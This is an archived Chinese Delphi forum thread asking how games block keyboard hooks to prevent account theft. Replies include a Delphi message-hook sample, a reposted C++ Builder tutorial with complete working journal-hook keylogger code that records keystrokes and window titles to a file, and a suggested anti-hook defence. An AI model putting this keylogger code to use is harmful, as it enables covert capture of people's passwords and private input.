要如何禁止键盘钩子?
http://www.delphi2007.net/DelphiAPI/html/delphi_20061126120722169.html
很多游戏都有这个功能,来防止盗号。
不知道 这是怎么做到的?
能不能说说原理?
帮你顶
屏蔽键盘鼠标事件
//请试一试该程序
var
YourHook: HHOOK;
//定义用于HOOK的消息,也可以是windows的标准消息
const
WM_YourMessage = WM_USER + 2000;
//发送你需要的消息
procedure TForm1.Button1Click(Sender: TObject);
begin
PostMessage(self.Handle,WM_YourMessage,0,0);
end;
//你的HOOK处理函数
function YourHookProc(Code: Integer; WParam: Longint; var Msg: TMsg): Longint; stdcall;
begin
// if (Code = HC_ACTION) then
if Msg.Message = WM_YourMessage then
//调用你自己的HOOK函数
begin
showMessage('截获该消息');
end;
Result := CallNextHookEx(YourHook, Code, WParam, Longint(@Msg));
end;
//安装HOOK
procedure TForm1.FormCreate(Sender: TObject);
begin
YourHook := SetWindowsHookEx(WH_GETMESSAGE, @YourHookProc, 0, GetCurrentThreadID);
end;
===========================
帮LZ找的资料```
日志钩子(JournalRecord Hook)的使用
---- 钩子是WINDOWS中消息处理机制的一个要点,通过安装各种钩子,应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,鼠标钩子可以截获鼠标消息,外壳钩子可以截获启动和关闭应用程序的消息,日志钩子可以监视和记录输入事件。钩子分为线程专用钩子和全局钩子,线程专用钩子只监视指定的线程,要监视系统中的所有线程,必须用到全局钩子。对于全局钩子,钩子函数必须包含在独立的动态链接库(DLL)中,这样才能被各种相关联的应用程序调用。在WINDOWS中,日志钩子是个很特别的钩子,它只有全局钩子一种,是键盘鼠标等输入设备的消息在系统消息队列被取出时发生的,而且系统中只能存在一个这样的日志钩子,更重要是,它不必用在动态链接库中,这样可以省却了为安装一个全局钩子而建立一个动态链接库的麻烦。利用日志钩子,我们可以监视各种输入事件,下面的示例可以用来记录键盘的输入,当有按键发生时,自动记录按键动作的日期和时间以及当前激活的窗口名称。本示例在中文WIN98,Borland C++ Builder4中编译通过。
---- 1.新建一个工程,在窗体Form1中放置两个按钮Button1和Button2, CAPTION分别为“安装日志钩子”和“卸载日志钩子”。
---- 2. 定义如下全局变量:
HHOOK g_hLogHook=NULL; //钩子变量
HWND g_hLastFocus=NULL;
//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值
3.在Button1的OnClick事件中输入:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,
(HOOKPROC)JournalLogProc,
HInstance,0); //安装日志钩子
}
4.在Button2的OnClick事件中输入:
void __fastcall TForm1::Button2Click(TObject *Sender)
{
if (g_hLogHook!=NULL)
{UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
} //卸载日志钩子
}
5.输入钩子回调函数:
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam)
{
if (iCode< 0) return (HOOKPROC)CallNextHookEx
(g_hLogHook,iCode,wParam,lParam);
if (iCode==HC_ACTION)
{EVENTMSG *pEvt=(EVENTMSG *)lParam;
int i;
HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称
char szTime[128]; //保存当前的日期和时间
FILE *stream=fopen(“c:\\logfile.txt”,"a+t");
if (pEvt->message==WM_KEYDOWN)
{int vKey=LOBYTE(pEvt- >paramL); // 取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)
//当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now())
.c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey< =57)
// 数字0-9
if (!bShift) fprintf(stream,"%c",vKey);
if (vKey >=65 && vKey< =90)
// A-Z a-z
{if (!bCapital)
if (bShift) ch=vKey; else ch=vKey+32;
else
if (bShift) ch=vKey+32; else ch=vKey;
fprintf(stream,"%c",ch);
}
if (vKey >=96 && vKey< =105) // 小键盘0-9
if (bNumLock) fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 && vKey<=222) // 其他键
{switch (vKey)
{case 186:if (!bShift) ch=';'; else ch=':';break;
case 187:if (!bShift) ch='='; else ch='+';break;
case 188:if (!bShift) ch=','; else ch='<' ;break;
case 189:if (!bShift) ch='-'; else ch='_';break;
case 190:if (!bShift) ch='.'; else ch=' >';break;
case 191:if (!bShift) ch='/'; else ch='?';break;
case 192:if (!bShift) ch='`'; else ch='~';break;
case 219:if (!bShift) ch='['; else ch='{';break;
case 220:if (!bShift) ch='\\'; else ch='|';break;
case 221:if (!bShift) ch=']'; else ch='}';break;
case 222:if (!bShift) ch='\''; else ch='\"';break;
default:ch='n';break;
}
if (ch!='n') fprintf(stream,"%c",ch);
}
// if (wParam >=112 && wParam<=123)
// 功能键 [F1]-[F12]
if (vKey >=8 && vKey< =46) //方向键
{switch (vKey)
{case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch='n';break;
}
if (ch!='n')
{if (g_PrvChar!=vKey)
{fprintf(stream,"%s",str);
g_PrvChar=vKey;
}
}
}
}
if
(pEvt- >message==WM_LBUTTONDOWN || pEvt- >message
==WM_RBUTTONDOWN)
{hFocus=GetActiveWindow();
if (g_hLastFocus!=hFocus)
{g_hLastFocus=hFocus;
GetWindowText(hFocus,szTitle,256);
strcpy(szTime,DateTimeToStr(Now()).c_str());
//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}
fclose(stream);
return (HOOKPROC)CallNextHookEx
(g_hLogHook,iCode,wParam,lParam);
}
http://dev.cbw.com/cbuilder/api/20055245505_2738869.shtml
转贴:
“证券大盗”实质上是利用键盘钩子技术进行做案的,他们最关心的是键盘消息“钩子”(WH_KEYBOARD Hook)。对付此类病毒的有效措施是以毒攻毒,以键盘钩子对付键盘监视:即在应用程序中需要键盘输入的时候,应用程序自己创建并安装一个键盘监视钩子,并使其处于钩子链的顶端,这样键盘输入的消息将被自己的钩子处理程序截获。只要在钩子处理程序中不再调用CallNextHookEx函数,即不把消息传递给下面的钩子
不知道管不管用,测试先。
谢谢大家啦~
转载于:https://www.cnblogs.com/delphi2007/archive/2008/11/27/1342605.html
要如何禁止键盘钩子?相关推荐
- [C++]键盘钩子程序
实现适时监视键盘,并将按键信息保存在TXT文件中的程序 Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的.而钩子是Windows系统中非常重要的系统接口,用它 ...
- 低级键盘钩子,在WIN7以上版本的问题
最近在项目用到低级键盘钩子.发现一个很奇怪的事情,在开发环境和测试环境下都正常运行的键盘钩子, 到了现场环境,总是偶发性出现 键盘钩子不能用了,而且退出时产生1404 错误. 后经过阅读MSDN 的R ...
- vs2019键盘钩子_C#键盘按键监视
using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using ...
- 怎么允许键盘鼠标唤醒计算机,Windows10如何禁止键盘鼠标唤醒电脑?
Windows10如何禁止键盘鼠标唤醒电脑?只要我们一段时间不操作电脑,电脑就会进入睡眠状态,这时候我们只要动动键盘或鼠标即可唤醒电脑,然而有些用户并不希望使用键盘鼠标来唤醒电脑,那么要如何禁止呢?操 ...
- 利用键盘钩子捕获Windows键盘动作
引言 在科研生产中对研制.调试操作的记录是非常有必要而且是有很重要价值的.通过对记录信息的分析,可以在事故发生后准确的分析出事故的起因.操作是否存在失误等许多重要线索.通常需要记录的信息是多种多样的, ...
- 低级键盘钩子 DLL
C语言封装的低级键盘钩子(HOOK)的DLL程序, +源码, 并有测试程序... 下载地址 : http://download.csdn.net/detail/hemmingway/4570548
- VC/MFC 键盘钩子,代码片断
在MFC程序中使用键盘钩子来获取按键消息,例程: #include "StdAfx.h" #include "KeyboardHook.h" static HH ...
- windows api学习笔记-键盘钩子
DLL项目的头文件 #ifdef KEYHOOKLIB_EXPORT //此宏将在CPP文件中定义 #define KEYHOOKLIB_API __declspec(dllexport) #else ...
- js阻止鼠标右击_使用JS 禁止键盘快捷方式和禁止鼠标右键操作弹窗提示
很多开发人员或者企业都希望自己的源码不被别人看到或者攻击,于是就有了前端禁止右键禁止键盘快捷键,或者更改右键内容的需求.博智互联这里使用JS 禁止查看代码的键盘快捷方式和禁止鼠标右键操作弹窗提示.虽然 ...
最新文章
- 专访Matt Klein关于在Lyft构建Envoy的问答
- web api 二
- vaadin_Vaadin应用程序中的EJB查找
- 计算机盘符无法重命名,win8磁盘分区无法重命名怎么办
- java学习(77):GUL下拉菜单框和滚动条
- 51nod 1379 索函数
- LeetCode 431. 将 N 叉树编码为二叉树(递归/层序)
- 后端如何收取多个文件_一次上传多个文件机制的两种解决方案
- Win10 删除网络驱动器
- Flappy Bird游戏 C语言实现
- 48种数据分析可视化图表
- 开发APP的java工具_程序猿必备的java的app开发工具有哪些
- 计算机考证分几个等级
- OpenOCD学习笔记 5-stm32f0x配置文件解析
- 机器学习笔记 (第一周)
- 连涨了三天的股票,该买还是该卖?
- android 7.0 手机拍照裁剪问题
- android 调用搜狗地图api,sogou地图API用法实例教程
- 把时间当作朋友——第1章 醒悟
- 官宣丨全球边缘计算大会参会指南出来啦!